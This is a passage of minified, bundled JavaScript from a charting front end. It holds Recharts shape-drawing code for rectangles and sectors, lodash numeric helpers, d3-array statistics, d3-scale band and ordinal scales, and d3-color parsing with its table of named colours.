value.")}return(t==="string"?String:Number)(e)}function Nu(){return Nu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Nu.apply(null,arguments)}function j1(e,t){if(e==null)return{};var n,r,i=w8(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function w8(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function tr(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}var N1=(e,t,n,r,i)=>{var s=ui(n),o=ui(r),l=Math.min(Math.abs(s)/2,Math.abs(o)/2),c=o>=0?1:-1,u=s>=0?1:-1,d=o>=0&&s>=0||o<0&&s<0?1:0,f;if(l>0&&Array.isArray(i)){for(var p=[0,0,0,0],h=0,x=4;h<x;h++){var g,y=(g=i[h])!==null&&g!==void 0?g:0;p[h]=y>l?l:y}f=tt(u1||(u1=tr(["M",",",""])),e,t+c*p[0]),p[0]>0&&(f+=tt(d1||(d1=tr(["A ",",",",0,0,",",",",",""])),p[0],p[0],d,e+u*p[0],t)),f+=tt(f1||(f1=tr(["L ",",",""])),e+n-u*p[1],t),p[1]>0&&(f+=tt(m1||(m1=tr(["A ",",",",0,0,",`,
|
||
`,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(p1||(p1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(h1||(h1=tr(["A ",",",",0,0,",`,
|
||
`,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(x1||(x1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(v1||(v1=tr(["A ",",",",0,0,",`,
|
||
`,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(g1||(g1=tr(["M ",",",`
|
||
A `,",",",0,0,",",",",",`
|
||
L `,",",`
|
||
A `,",",",0,0,",",",",",`
|
||
L `,",",`
|
||
A `,",",",0,0,",",",",",`
|
||
L `,",",`
|
||
A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(y1||(y1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},k1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Fk=e=>{var t=gn(e,k1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var _=n.current.getTotalLength();_&&i(_)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var k=Qe("recharts-rectangle",d);if(!g){var z=Ut(t),{radius:S}=z,O=j1(z,x8);return m.createElement("path",Nu({},O,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:k,d:N1(s,o,l,c,u)}))}var A=y.current,T=v.current,P=b.current,D=w.current,G="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),K=Dk(["strokeDasharray"],p,typeof f=="string"?f:k1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},_=>{var M=At(A,l,_),F=At(T,c,_),U=At(P,s,_),V=At(D,o,_);n.current&&(y.current=M,v.current=F,b.current=U,w.current=V);var Z;x?_>0?Z={transition:K,strokeDasharray:R}:Z={strokeDasharray:G}:Z={strokeDasharray:R};var ae=Ut(t),{radius:ue}=ae,be=j1(ae,v8);return m.createElement("path",Nu({},be,{radius:typeof u=="number"?u:void 0,className:k,d:N1(U,V,M,F,u),ref:n,style:w1(w1({},Z),t.style)}))})};function z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function S1(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?z1(Object(n),!0).forEach(function(r){j8(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):z1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function j8(e,t,n){return(t=N8(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function N8(e){var t=k8(e,"string");return typeof t=="symbol"?t:t+""}function k8(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var ku=Math.PI/180,z8=e=>e*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-ku*r)*n,y:t+Math.sin(-ku*r)*n}),Wk=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},S8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},C8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=S8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:z8(c),angleInRadian:c}},P8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},E8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},_8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=C8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(i<o||i>l||i===0)return null;var{startAngle:c,endAngle:u}=P8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d<c;)d+=360;f=d>=c&&d<=u}else{for(;d>c;)d-=360;for(;d<u;)d+=360;f=d>=u&&d<=c}return f?S1(S1({},t),{},{radius:i,angle:E8(d,t)}):null};function Uk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:s}}var C1,P1,E1,_1,A1,O1,T1;function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},uh.apply(null,arguments)}function Yi(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}var A8=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Xl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:s,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/ku,f=c?i:i+s*d,p=dt(t,n,u,f),h=dt(t,n,r,f),x=c?i-s*d:i,g=dt(t,n,u*Math.cos(d*ku),x);return{center:p,circleTangency:h,lineTangency:g,theta:d}},Vk=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:s,endAngle:o}=e,l=A8(s,o),c=s+l,u=dt(t,n,i,s),d=dt(t,n,i,c),f=tt(C1||(C1=Yi(["M ",",",`
|
||
A `,",",`,0,
|
||
`,",",`,
|
||
`,",",`
|
||
`])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(P1||(P1=Yi(["L ",",",`
|
||
A `,",",`,0,
|
||
`,",",`,
|
||
`,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(E1||(E1=Yi(["L ",","," Z"])),t,n);return f},O8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=qt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Xl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Xl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(_1||(_1=Yi(["M ",",",`
|
||
a`,",",",0,0,1,",`,0
|
||
a`,",",",0,0,1,",`,0
|
||
`])),p.x,p.y,s,s,s*2,s,s,-s*2):Vk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(A1||(A1=Yi(["M ",",",`
|
||
A`,",",",0,0,",",",",",`
|
||
A`,",",",0,",",",",",",",`
|
||
A`,",",",0,0,",",",",",`
|
||
`])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Xl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:k,lineTangency:z,theta:S}=Xl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(O<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(O1||(O1=Yi(["L",",",`
|
||
A`,",",",0,0,",",",",",`
|
||
A`,",",",0,",",",",",",",`
|
||
A`,",",",0,0,",",",",","Z"])),z.x,z.y,s,s,+(d<0),k.x,k.y,r,r,+(O>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(T1||(T1=Yi(["L",",","Z"])),t,n);return b},T8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Hk=e=>{var t=gn(e,T8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s<i||u===d)return null;var p=Qe("recharts-sector",f),h=s-i,x=fn(o,h,0,!0),g;return x>0&&Math.abs(u-d)<360?g=O8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Vk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",uh({},Ut(t),{className:p,d:g}))};function M8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(uN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Uk(t)}}var Kk={},Gk={},Yk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Yk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Gx,n=Gk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?i<s?1:-1:n.toFinite(o);const l=Math.max(Math.ceil((s-i)/(o||1)),0),c=new Array(l);for(let u=0;u<l;u++)c[u]=i,i+=o;return c}e.range=r})(Kk);var L8=Kk.range;const qk=Wr(L8);function wi(e,t){return e==null||t==null?NaN:e<t?-1:e>t?1:e>=t?0:NaN}function I8(e,t){return e==null||t==null?NaN:t<e?-1:t>e?1:t>=e?0:NaN}function i0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===I8?e:D8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<0?u=f+1:d=f}while(u<d)}return u}function s(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<=0?u=f+1:d=f}while(u<d)}return u}function o(l,c,u=0,d=l.length){const f=i(l,c,u,d-1);return f>u&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function D8(){return 0}function Xk(e){return e===null?NaN:+e}function*R8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const $8=i0(wi),fl=$8.right;i0(Xk).center;class M1 extends Map{constructor(t,n=W8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(L1(this,t))}has(t){return super.has(L1(this,t))}set(t,n){return super.set(B8(this,t),n)}delete(t){return super.delete(F8(this,t))}}function L1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function B8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function F8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function W8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function U8(e=wi){if(e===wi)return Zk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function Zk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(e<t?-1:e>t?1:0)}const V8=Math.sqrt(50),H8=Math.sqrt(10),K8=Math.sqrt(2);function zu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=V8?10:s>=H8?5:s>=K8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/u<e&&++l,c/u>t&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*u<e&&++l,c*u>t&&--c),c<l&&.5<=n&&n<2?zu(e,t,n*2):[l,c,u]}function dh(e,t,n){if(t=+t,e=+e,n=+n,!(n>0))return[];if(e===t)return[e];const r=t<e,[i,s,o]=r?zu(t,e,n):zu(e,t,n);if(!(s>=i))return[];const l=s-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u<l;++u)c[u]=(s-u)/-o;else for(let u=0;u<l;++u)c[u]=(s-u)*o;else if(o<0)for(let u=0;u<l;++u)c[u]=(i+u)/-o;else for(let u=0;u<l;++u)c[u]=(i+u)*o;return c}function fh(e,t,n){return t=+t,e=+e,n=+n,zu(e,t,n)[2]}function mh(e,t,n){t=+t,e=+e,n=+n;const r=t<e,i=r?fh(t,e,n):fh(e,t,n);return(r?-1:1)*(i<0?1/-i:i)}function I1(e,t){let n;for(const r of e)r!=null&&(n<r||n===void 0&&r>=r)&&(n=r);return n}function D1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function Qk(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?Zk:U8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),p=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+p)),x=Math.min(r,Math.floor(t+(c-u)*f/c+p));Qk(e,t,h,x,i)}const s=e[t];let o=n,l=r;for(Hs(e,n,t),i(e[r],s)>0&&Hs(e,n,r);o<l;){for(Hs(e,o,l),++o,--l;i(e[o],s)<0;)++o;for(;i(e[l],s)>0;)--l}i(e[n],s)===0?Hs(e,n,l):(++l,Hs(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Hs(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function G8(e,t,n){if(e=Float64Array.from(R8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return D1(e);if(t>=1)return I1(e);var r,i=(r-1)*t,s=Math.floor(i),o=I1(Qk(e,s).subarray(0,s+1)),l=D1(e.subarray(s+1));return o+(l-o)*(i-s)}}function Y8(e,t,n=Xk){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,s=Math.floor(i),o=+n(e[s],s,e),l=+n(e[s+1],s+1,e);return o+(l-o)*(i-s)}}function q8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,s=new Array(i);++r<i;)s[r]=e+r*n;return s}function Mn(e,t){switch(arguments.length){case 0:break;case 1:this.range(e);break;default:this.range(t).domain(e);break}return this}function Gr(e,t){switch(arguments.length){case 0:break;case 1:{typeof e=="function"?this.interpolator(e):this.range(e);break}default:{this.domain(e),typeof t=="function"?this.interpolator(t):this.range(t);break}}return this}const ph=Symbol("implicit");function a0(){var e=new M1,t=[],n=[],r=ph;function i(s){let o=e.get(s);if(o===void 0){if(r!==ph)return r;e.set(s,o=t.push(s)-1)}return n[o%n.length]}return i.domain=function(s){if(!arguments.length)return t.slice();t=[],e=new M1;for(const o of s)e.has(o)||e.set(o,t.push(o)-1);return i},i.range=function(s){return arguments.length?(n=Array.from(s),i):n.slice()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return a0(t,n).unknown(r)},Mn.apply(i,arguments),i}function s0(){var e=a0().unknown(void 0),t=e.domain,n=e.range,r=0,i=1,s,o,l=!1,c=0,u=0,d=.5;delete e.unknown;function f(){var p=t().length,h=i<r,x=h?i:r,g=h?r:i;s=(g-x)/Math.max(1,p-c+u*2),l&&(s=Math.floor(s)),x+=(g-x-s*(p-c))*d,o=s*(1-c),l&&(x=Math.round(x),o=Math.round(o));var y=q8(p).map(function(v){return x+s*v});return n(h?y.reverse():y)}return e.domain=function(p){return arguments.length?(t(p),f()):t()},e.range=function(p){return arguments.length?([r,i]=p,r=+r,i=+i,f()):[r,i]},e.rangeRound=function(p){return[r,i]=p,r=+r,i=+i,l=!0,f()},e.bandwidth=function(){return o},e.step=function(){return s},e.round=function(p){return arguments.length?(l=!!p,f()):l},e.padding=function(p){return arguments.length?(c=Math.min(1,u=+p),f()):c},e.paddingInner=function(p){return arguments.length?(c=Math.min(1,p),f()):c},e.paddingOuter=function(p){return arguments.length?(u=+p,f()):u},e.align=function(p){return arguments.length?(d=Math.max(0,Math.min(1,p)),f()):d},e.copy=function(){return s0(t(),[r,i]).round(l).paddingInner(c).paddingOuter(u).align(d)},Mn.apply(f(),arguments)}function Jk(e){var t=e.copy;return e.padding=e.paddingOuter,delete e.paddingInner,delete e.paddingOuter,e.copy=function(){return Jk(t())},e}function X8(){return Jk(s0.apply(null,arguments).paddingInner(1))}function o0(e,t,n){e.prototype=t.prototype=n,n.constructor=e}function e4(e,t){var n=Object.create(e.prototype);for(var r in t)n[r]=t[r];return n}function ml(){}var Go=.7,Su=1/Go,Ja="\\s*([+-]?\\d+)\\s*",Yo="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)\\s*",fr="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)%\\s*",Z8=/^#([0-9a-f]{3,8})$/,Q8=new RegExp(`^rgb\\(${Ja},${Ja},${Ja}\\)$`),J8=new RegExp(`^rgb\\(${fr},${fr},${fr}\\)$`),e7=new RegExp(`^rgba\\(${Ja},${Ja},${Ja},${Yo}\\)$`),t7=new RegExp(`^rgba\\(${fr},${fr},${fr},${Yo}\\)$`),n7=new RegExp(`^hsl\\(${Yo},${fr},${fr}\\)$`),r7=new RegExp(`^hsla\\(${Yo},${fr},${fr},${Yo}\\)$`),R1={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};o0(ml,qo,{copy(e){return Object.assign(new this.constructor,this,e)},displayable(){return this.rgb().displayable()},hex:$1,formatHex:$1,formatHex8:i7,formatHsl:a7,formatRgb:B1,toString:B1});function $1(){return this.rgb().formatHex()}function i7(){return this.rgb().formatHex8()}function a7(){return t4(this).formatHsl()}function B1(){return this.rgb().formatRgb()}function qo(e){var t,n;return e=(e+"").trim().toLowerCase(),(t=Z8.exec(e))?(n=t[1].length,t=parseInt(t[1],16),n===6?F1(t):n===3?new Xt(t>>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Zl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Zl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=Q8.exec(e))?new Xt(t[1],t[2],t[3],1):(t=J8.exec(e))?new Xt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=e7.exec(e))?Zl(t[1],t[2],t[3],t[4]):(t=t7.exec(e))?Zl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=n7.exec(e))?V1(t[1],t[2]/100,t[3]/100,1):(t=r7.exec(e))?V1(t[1],t[2]/100,t[3]/100,t[4]):R1.hasOwnProperty(e)?F1(R1[e]):e==="transparent"?new Xt(NaN,NaN,NaN,0):null}function F1(e){return new Xt(e>>16&255,e>>8&255,e&255,1)}function Zl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Xt(e,t,n,r)}function s7(e){return e instanceof ml||(e=qo(e)),e?(e=e.rgb(),new Xt(e.r,e.g,e.b,e.opacity)):new Xt}function hh(e,t,n,r){return arguments.length===1?s7(e):new Xt(e,t,n,r??1)}function Xt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}o0(Xt,hh,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Xt(ea(this.r),ea(this.g),ea(this.b),Cu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:W1,formatHex:W1,formatHex8:o7,formatRgb:U1,toString:U1}));function W1(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}`}function o7(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}${qi((isNaN(this.opacity)?1:this.opacity)*255)}`}function U1(){const e=Cu(this.opacity);return`${e===1?"rgb(":"rgba("}${ea(this.r)}, ${ea(this.g)}, ${ea(this.b)}${e===1?")":`, ${e})`}`}function Cu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function ea(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function qi(e){return e=ea(e),(e<16?"0":"")+e.toString(16)}function V1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Hn(e,t,n,r)}function t4(e){if(e instanceof Hn)return new Hn(e.h,e.s,e.l,e.opacity);if(e instanceof ml||(e=qo(e)),!e)return new Hn;if(e instanceof Hn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,l=s-i,c=(s+i)/2;return l?(t===s?o=(n-r)/l+(n<r)*6:n===s?o=(r-t)/l+2:o=(t-n)/l+4,l/=c<.5?s+i:2-s-i,o*=60):l=c>0&&c<1?0:o,new Hn(o,l,c,e.opacity)}function l7(e,t,n,r){return arguments.length===1?t4(e):new Hn(e,t,n,r??1)}function Hn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}o0(Hn,l7,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Hn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Hn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Xt(hm(e>=240?e-240:e+120,i,r),hm(e,i,r),hm(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Hn(H1(this.h),Ql(this.s),Ql(this.l),Cu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Cu(this.opacity);return`${e===1?"hsl(":"hsla("}${H1(this.h)}, ${Ql(this.s)*100}%, ${Ql(this.l)*100}%${e===1?")":`, ${e})`}`}}));function H1(e){return e=(e||0)%360,e<0?e+360:e}function Ql(e){return Math.max(0,Math.min(1,e||0))}function hm(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const l0=e=>()=>e;function c7(e,t){return function(n){return e+n*t}}function u7(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function d7(e){return(e=+e)==1?n4:function(t,n){return n-t?u7(t,n,e):l0(isNaN(t)?n:t)}}function n4(e,t){var n=t-e;return n?c7(e,n):l0(isNaN(e)?t:e)}const 